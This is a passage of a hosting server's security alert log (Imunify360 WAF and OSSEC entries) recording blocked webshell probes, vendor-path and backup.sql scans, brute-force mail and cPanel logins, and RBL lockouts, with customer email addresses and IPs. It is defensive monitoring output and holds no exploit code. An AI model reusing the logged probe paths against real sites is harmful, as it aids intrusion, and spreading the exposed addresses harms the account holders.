IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=724064 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.63.132.238
country_id: 3175395
description:
Jan 12 12:33:36 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.63.132.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 123.118.107.125
country_id: 1814991
description:
Jan 12 12:34:02 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 123.118.107.125 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.118.107.125
country_id: 1814991
description:
2026-01-12 12:34:04 dovecot_login authenticator failed for H=([111.206.233.34]) [123.118.107.125]:56471: 535 Incorrect authentication data (set_id=mohamad.haznil@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.237.188.86
country_id: 3469034
description:
Jan 12 12:33:23 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.237.188.86 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.82.206.229
country_id: 3469034
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/console/Output/StreamOutput.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.74.130.207
country_id: 2542007
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/http-foundation/Tests/Session HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.82.167.141
country_id: 3469034
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/symfony/http-foundation/Tests/Session/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 91.196.152.101
country_id: 3017382
description:
Jan 12 12:34:45 sv3 pure-ftpd[2925424]: (?@91.196.152.101) [INFO] New connection from 91.196.152.101


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 91.196.152.100
country_id: 3017382
description:
Jan 12 12:34:45 sv3 pure-ftpd[2925435]: (?@91.196.152.100) [INFO] New connection from 91.196.152.100


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/images/img/druma_photos/contact.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 34.27.42.6
country_id: 6252001
description:
[2026-01-12 12:37:52 +0800] info [cpaneld] 34.27.42.6 - tujuseti "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tujuseti (has_cpuser_file failed)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 77.238.251.212
country_id: 2750405
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:12-38.77.238.251.212||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 12:39:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52673: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 12:39:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52674: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.140.4
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/achievement-new.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.253.235.158
country_id: 798544
description:
Jan 12 12:40:55 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.253.235.158 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.253.235.158
country_id: 798544
description:
Jan 12 12:41:11 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.253.235.158 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 2.72.155.130
country_id: 1522867
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/busy/502/503450 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.121.160.25
country_id: 1733045
description:
2026-01-12 12:42:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [121.121.160.25]:62973: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.121.160.25
country_id: 1733045
description:
2026-01-12 12:42:18 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [121.121.160.25]:62974: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.125.211.103
country_id: 798544
description:
Jan 12 12:43:55 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.125.211.103 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.121.160.25
country_id: 1733045
description:
2026-01-12 12:44:01 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [121.121.160.25]:62985: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.121.160.25
country_id: 1733045
description:
2026-01-12 12:44:17 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [121.121.160.25]:62986: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.125.211.103
country_id: 798544
description:
Jan 12 12:44:08 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.125.211.103 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 108.165.238.30
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:12-45.108.165.238.30||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.43
country_id: 732800
description:
Jan 12 12:46:58 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.255.215.145
country_id: 732800
description:
Jan 12 12:47:12 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.255.215.145 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.119.250
country_id: 226074
description:
Jan 12 12:47:32 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.119.250 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 199.45.155.93
country_id: 6252001
description:
2026-01-12 12:48:25 2449017 [Warning] Aborted connection 2449017 to db: 'unconnected' user: 'unauthenticated' host: '199.45.155.93' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 12:51:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57878: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/fphortier/images/rpl.php||SC:/home/sutsbcom/public_html/fphortier||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 194.105.158.121
country_id: 6252001
domain: working.magsoft.com.my
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/backup.sql||User:workingmagsoftco||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 12:51:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57879: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/about-us/images/sliders/services.php||SC:/home/sutsbcom/public_html/about-us||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/portfolio/img/img/img/img/img/img/clientele.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/themes/clean-commerce/third-party/images/sliders/cdn-cgi/l/Survey_Meter_Calibration.php||SC:/home/sutsbcom/public_html/wp-content/themes/clean-commerce||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.176.211.133
country_id: 3865483
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=942713 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.145.144.26
country_id: 3996063
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=3&sub=41 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/themes/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/company.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 209.50.172.198
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:13-02.209.50.172.198||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.43.100.74
country_id: 357994
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/guzzlehttp/psr7/src/PumpStream.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.216.88.110
country_id: 3469034
description:
Jan 12 13:04:54 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.216.88.110 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.157.111
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/commercial/images/home/article.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.216.88.110
country_id: 3469034
description:
Jan 12 13:05:09 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.216.88.110 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.174.39.82
country_id: 1814991
description:
Jan 12 13:06:57 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.174.39.82 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 13:07:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52751: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 18.207.131.245
country_id: 6252001
domain: vatsecurity.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.7204.23 Safari/537.36||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.174.39.82
country_id: 1814991
description:
2026-01-12 13:06:59 dovecot_login authenticator failed for H=([60.174.39.82]) [60.174.39.82]:40846: 535 Incorrect authentication data (set_id=info@sutsb.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 13:07:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52751: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.41.250
country_id: 953987
description:
Jan 12 13:07:36 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.41.250 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 173.0.10.71
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:13-08.173.0.10.71||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.121.160.25
country_id: 1733045
description:
2026-01-12 13:12:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [121.121.160.25]:63060: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.121.160.25
country_id: 1733045
description:
2026-01-12 13:12:18 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [121.121.160.25]:63062: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.121.160.25
country_id: 1733045
description:
2026-01-12 13:14:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [121.121.160.25]:63071: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 153.37.177.219
country_id: 1814991
description:
Jan 12 13:13:59 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 153.37.177.219 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 153.37.177.219
country_id: 1814991
description:
2026-01-12 13:14:01 dovecot_login authenticator failed for H=([61.177.36.109]) [153.37.177.219]:38928: 535 Incorrect authentication data (set_id=ken@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.121.160.25
country_id: 1733045
description:
2026-01-12 13:14:18 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [121.121.160.25]:63072: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.152.83.130
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=5&sub=24 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.122.122
country_id: 226074
description:
Jan 12 13:16:18 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.122.122 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 86.62.2.187
country_id: 1512440
description:
2026-01-12 13:16:55 2450236 [Warning] Aborted connection 2450236 to db: 'unconnected' user: 'unauthenticated' host: '86.62.2.187' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.3.65
country_id: 690791
description:
Jan 12 13:16:58 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.3.65 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.3.65
country_id: 690791
description:
Jan 12 13:17:11 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.3.65 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.124.182.119
country_id: 3175395
description:
Jan 12 13:17:17 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.124.182.119 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 13:19:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57888: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 13:19:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:57889: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.109.200.14
country_id: 3469034
description:
Jan 12 13:20:54 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.109.200.14 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 135.237.126.221
country_id: 6252001
description:
Jan 12 13:20:11 sv3 pure-ftpd[2981201]: (?@135.237.126.221) [INFO] New connection from 135.237.126.221


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.41.228
country_id: 6290252
description:
Jan 12 13:21:17 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.41.228 has been locked due to Imunify RBL


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 113.211.98.231
country_id: 1733045
description:
[2026-01-12 13:21:25 +0800] info [webmaild] 113.211.98.231 - yflau@mckd.com.my "POST /cpsess3057903808/3rdparty/roundcube/?_task=mail&_action=refresh HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [113.211.110.22] != Current IP Address [113.211.98.231]


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.189.226.98
country_id: 1210997
domain: task.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/task.visoft.com.my/vendor/swiftmailer/swiftmailer/doc/index.rst HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/services/survey-meter/images/sliders/login.php||SC:/home/sutsbcom/public_html/services||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 171.236.160.88
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:13-28.171.236.160.88||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.30.113.8
country_id: 3175395
description:
Jan 12 13:29:02 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.30.113.8 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.54.212
country_id: 953987
description:
Jan 12 13:28:18 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.54.212 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.30.113.8
country_id: 3175395
description:
Jan 12 13:29:09 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.30.113.8 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/images/images/home/private-residence.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 171.236.42.130
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:13-29.171.236.42.130||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 171.236.173.255
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:13-29.171.236.173.255||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.136.174
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/themes/images/sliders/Personal_Dosimetry_Service.php||SC:/home/sutsbcom/public_html/wp-content/themes/images||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 95.26.13.239
country_id: 2017370
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=731605 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 171.224.205.67
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:13-30.171.224.205.67||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.165
country_id: 298795
description:
Jan 12 13:30:47 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.165 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 27.76.92.215
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:13-30.27.76.92.215||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/languages/images/company.php||SC:/home/sutsbcom/public_html/wp-content/languages||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.172.69.6
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=820921 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/images/sliders/cdn-cgi/l/index.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.57.114.231
country_id: 3865483
domain: tujusetia.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/tujusetia.my/nadayu-63-service-apartment HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 91.186.248.4
country_id: 248816
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/symfony/event-dispatcher/CHANGELOG.md HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 13:35:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52806: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.162.58
country_id: 1880251
domain: sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/wp-content/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/faq.php||SC:/home/sutsbcom/public_html/wp-content/images||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 13:35:10 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52807: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.22.116.101
country_id: 3469034
description:
Jan 12 13:35:17 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.22.116.101 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.168.14
country_id: 3469034
description:
Jan 12 13:35:41 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.168.14 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 171.236.183.172
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:13-38.171.236.183.172||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-12 13:40:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:35338: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 171.236.160.106
country_id: 1562822
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:13-39.171.236.160.106||RSV:7.62||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
